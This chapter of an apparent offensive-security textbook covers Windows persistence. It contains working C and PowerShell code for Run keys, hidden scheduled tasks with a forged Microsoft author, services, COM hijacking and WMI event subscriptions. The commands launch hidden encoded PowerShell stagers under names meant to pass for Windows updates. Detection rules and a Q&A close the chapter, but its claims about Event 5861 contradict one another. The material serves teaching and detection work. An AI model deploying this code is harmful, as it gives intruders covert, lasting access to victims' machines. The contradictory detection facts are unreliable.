Chapter 210

Persistence Mechanisms

Persistence converts a one-time foothold into recurring access that survives reboot, user logoff, and credential changes. The best persistence mechanisms trigger on events that happen frequently (logon, system start, COM object instantiation) and blend into legitimate system activity. Detection engineers specifically hunt persistence because it is necessarily a write operation — something must be changed on disk or in the registry, creating a durable artifact.

Scenario

You have user-level access on a workstation. The user has admin rights but UAC is set to prompt. You need persistence that fires on logon without a UAC prompt, blends into normal Windows activity, and does not write a new executable file to disk — your payload is a PowerShell one-liner stager that fetches the beacon from memory.

Registry Run Keys

// Most common persistence location; runs at user logon
// HKCU = user-level (no admin required)
// HKLM = system-level (admin required, runs for all users)

// HKCU\Software\Microsoft\Windows\CurrentVersion\Run
// HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce (fires once, then deletes)
// HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
// HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ (debugger hijack)

BOOL SetRunKey(HKEY root, LPCWSTR valueName, LPCWSTR command) {
    HKEY hKey;
    LSTATUS st = RegOpenKeyExW(root,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, KEY_SET_VALUE, &hKey);
    if (st != ERROR_SUCCESS) return FALSE;
    st = RegSetValueExW(hKey, valueName, 0, REG_SZ,
        (const BYTE*)command, (DWORD)((wcslen(command)+1)*sizeof(WCHAR)));
    RegCloseKey(hKey);
    return st == ERROR_SUCCESS;
}

// Stealthy variant: store in RunOnce → fires exactly once → then re-registers itself
// PowerShell stager (no file on disk):
// reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdate" /t REG_SZ
//   /d "powershell -WindowStyle Hidden -NonInteractive -enc BASE64_STAGER" /f

// AppInit_DLLs (HKLM, LoadAppInit_DLLs=1): DLL injected into every user32.dll-loading process
// Powerful but: disabled when Secure Boot enabled; creates very noisy injection telemetry

Scheduled Task Persistence

// Scheduled tasks: flexible triggers (logon, boot, interval, event-based)
// No admin required for HKCU-equivalent tasks (runs as current user)
// Task XML stored in C:\Windows\System32\Tasks\ (SYSTEM) or C:\Windows\SysWOW64\Tasks\
// Event-triggered task: fires when specific event ID is logged

// Create task via schtasks LOLbin:
// schtasks /create /TN "MicrosoftEdgeUpdate" /TR
//   "powershell -w hidden -enc BASE64_STAGER"
//   /SC ONLOGON /RU %USERNAME% /F

// Event-triggered task (fires every time EID 4648 logged — explicit credential use):
// Provides persistence tied to specific AD authentication events

// C: Create task via COM (ITaskService) — no schtasks.exe binary:
BOOL CreatePersistTask(const wchar_t* taskName, const wchar_t* command) {
    ITaskService* pSvc = NULL;
    CoInitializeEx(NULL, COINIT_MULTITHREADED);
    CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
        IID_ITaskService, (void**)&pSvc);
    pSvc->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
    ITaskFolder* pRoot = NULL;
    pSvc->GetFolder(SysAllocString(L"\\"), &pRoot);
    ITaskDefinition* pTask = NULL;
    pSvc->NewTask(0, &pTask);
    IRegistrationInfo* pRegInfo = NULL;
    pTask->get_RegistrationInfo(&pRegInfo);
    pRegInfo->put_Author(SysAllocString(L"Microsoft Corporation"));  // masquerade
    ITaskSettings* pSettings = NULL;
    pTask->get_Settings(&pSettings);
    pSettings->put_Hidden(VARIANT_TRUE);  // not visible in Task Scheduler GUI
    ITriggerCollection* pTriggers = NULL;
    pTask->get_Triggers(&pTriggers);
    ITrigger* pTrigger = NULL;
    pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
    IActionCollection* pActions = NULL;
    pTask->get_Actions(&pActions);
    IAction* pAction = NULL;
    pActions->Create(TASK_ACTION_EXEC, &pAction);
    IExecAction* pExecAction = NULL;
    pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
    pExecAction->put_Path(SysAllocString(L"powershell.exe"));
    pExecAction->put_Arguments(SysAllocString(command));
    IRegisteredTask* pReg = NULL;
    pRoot->RegisterTaskDefinition(SysAllocString(taskName), pTask,
        TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(),
        TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""), &pReg);
    return pReg != NULL;
}

Service Persistence

// Windows service: starts as SYSTEM or service account on boot
// Requires admin. Two sub-types: kernel driver (loads before user mode) or user mode service.
// Most malware uses user mode service for persistence.

// HKLM\SYSTEM\CurrentControlSet\Services\SERVICENAME\
//   Type = 0x10 (own process) or 0x20 (share process with svchost)
//   Start = 0x2 (auto-start on boot)
//   ImagePath = path to executable or svchost group + DLL path

// Svchost-hosted DLL (harder to detect than standalone exe):
// Set Start=2, Type=0x20, ImagePath="C:\Windows\System32\svchost.exe -k netsvcs"
// Create: Parameters\ServiceDll = C:\Windows\System32\malicious.dll
// Register in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs list
// svchost.exe loads the DLL and calls ServiceMain() → appears as part of netsvcs group

BOOL InstallService(LPCWSTR svcName, LPCWSTR svcPath) {
    SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    SC_HANDLE hSvc = CreateServiceW(hSCM, svcName, svcName,
        SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START,  // starts on boot
        SERVICE_ERROR_NORMAL, svcPath, NULL, NULL, NULL,
        NULL,  // LocalSystem
        NULL);
    CloseServiceHandle(hSvc); CloseServiceHandle(hSCM);
    return hSvc != NULL;
}

COM Hijacking

// COM hijacking: create HKCU\Software\Classes\CLSID\{GUID}\InprocServer32 pointing to malicious DLL.
// When any application instantiates that CLSID, HKCU key overrides HKLM → loads attacker DLL.
// No admin required. Fires whenever the CLSID is used — which depends on the target application.
//
// Useful CLSIDs (instantiated on shell activity, explorer.exe, etc.):
// {B31118B2-...} (MsRdpClient) — instantiated during RDP handling
// {603D3800-...} (MMDeviceEnumerator) — many media applications
// {42aedc87-...} — Task Manager context menu COM
//
// Process: use ProcMon to find CLSIDs with HKLM registration where HKCU override not yet set
//   → Filter: Result = "NAME NOT FOUND" + Path starts with "HKCU\Software\Classes\CLSID"
//   → Those CLSIDs are hijackable

BOOL ComHijack(const wchar_t* clsid, const wchar_t* dllPath) {
    wchar_t keyPath[256];
    swprintf_s(keyPath, L"Software\\Classes\\CLSID\\%s\\InprocServer32", clsid);
    HKEY hKey;
    RegCreateKeyExW(HKEY_CURRENT_USER, keyPath, 0, NULL, 0,
                     KEY_SET_VALUE, NULL, &hKey, NULL);
    RegSetValueExW(hKey, NULL, 0, REG_SZ,
        (BYTE*)dllPath, (DWORD)((wcslen(dllPath)+1)*sizeof(wchar_t)));
    RegSetValueExW(hKey, L"ThreadingModel", 0, REG_SZ, (BYTE*)L"Both", 10);
    RegCloseKey(hKey);
    return TRUE;
}

WMI Event Subscriptions

// WMI subscriptions: permanent, survive reboots, stored in WMI repository (%WINDIR%\System32\wbem\Repository)
// Three components: EventFilter (when) + EventConsumer (what) + FilterToConsumerBinding (link)
// Types of consumer: CommandLineEventConsumer (execute command), ActiveScriptEventConsumer (run VBScript)
// Filter example: trigger every 5 minutes, or on process creation

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = 'WindowsUpdateFilter'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = 'WindowsUpdateConsumer'
    CommandLineTemplate = 'powershell -w hidden -enc BASE64_STAGER'
}
$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $Filter
    Consumer = $Consumer
}
# Fires ~4 minutes after boot (SystemUpTime 240-325 seconds)
# Stored persistently in WMI repository — not in registry, not in Task Scheduler
# Detection: EID 5861 (WMI subscription activity) and registry: HKLM\SOFTWARE\Microsoft\Wbem\ESS\

Detection Engineering

title: Registry Run Key Persistence — Unusual Value
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 13  # RegistryValueSet
    TargetObject|contains:
      - 'CurrentVersion\Run'
      - 'CurrentVersion\RunOnce'
  suspicious_value:
    Details|contains:
      - 'powershell'
      - '-enc'
      - 'cmd /c'
      - 'mshta'
      - 'wscript'
  condition: selection and suspicious_value
level: high
tags: [attack.persistence, T1547.001]

title: WMI Permanent Subscription Created
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5861  # WMI subscription activity
  condition: selection
level: high
tags: [attack.persistence, T1546.003]

title: COM Hijack — HKCU InprocServer32 Override Created
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 13
    TargetObject|contains:
      - 'HKCU\Software\Classes\CLSID'
      - 'InprocServer32'
    Details|endswith:
      - '.dll'
  filter_legit:
    Image|contains:
      - '\installers'
      - '\setup.exe'
  condition: selection and not filter_legit
level: medium

-- MDE KQL: new service with auto-start pointing to unusual path
DeviceRegistryEvents
| where RegistryKey contains @"SYSTEM\CurrentControlSet\Services"
| where RegistryValueName == "Start" and RegistryValueData == "2"
| join kind=leftouter (
    DeviceRegistryEvents
    | where RegistryValueName == "ImagePath"
) on RegistryKey
| where RegistryValueData1 !startswith @"C:\Windows\System32"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData1

Q&A

WMI permanent subscriptions are stored in the WMI repository, not the registry or filesystem in an obvious location. What are the two artifacts detection engineers use to find them, and where are those artifacts located?

The first artifact is Windows Event ID 5861 in the Microsoft-Windows-WMI-Activity/Operational log. This event fires each time a WMI subscription fires (when the filter condition is met and the consumer executes). The event includes the consumer name, the filter query, and the consumer command line or script. This is a runtime artifact — it only appears after the subscription triggers — but it provides the execution-time evidence that the subscription ran. Note that subscription creation itself does not generate a 5861; the event fires on each execution.

The second artifact is the WMI repository files on disk: %SystemRoot%\System32\wbem\Repository\OBJECTS.DATA (and its companion files). These binary files contain all persisted WMI objects, including the __EventFilter, __EventConsumer, and __FilterToConsumerBinding instances. Forensic tools such as PyWMIPersistenceFinder and WMImplant can parse these binary files offline to list all permanent subscriptions without running the WMI service. During incident response, pulling the repository from a live system (via Volume Shadow Copy if the files are locked) and parsing them reveals subscriptions that never triggered and therefore never generated a 5861 event.

The complementary detection path is Sysmon EID 19 (WmiEventFilter activity — subscription registration), EID 20 (WmiEventConsumer), and EID 21 (FilterToConsumerBinding). These Sysmon events fire at creation time (when the attacker sets up the subscription), not at execution time. Enabling all three Sysmon WMI events plus WMI-Activity/5861 provides both creation-time and execution-time detection coverage.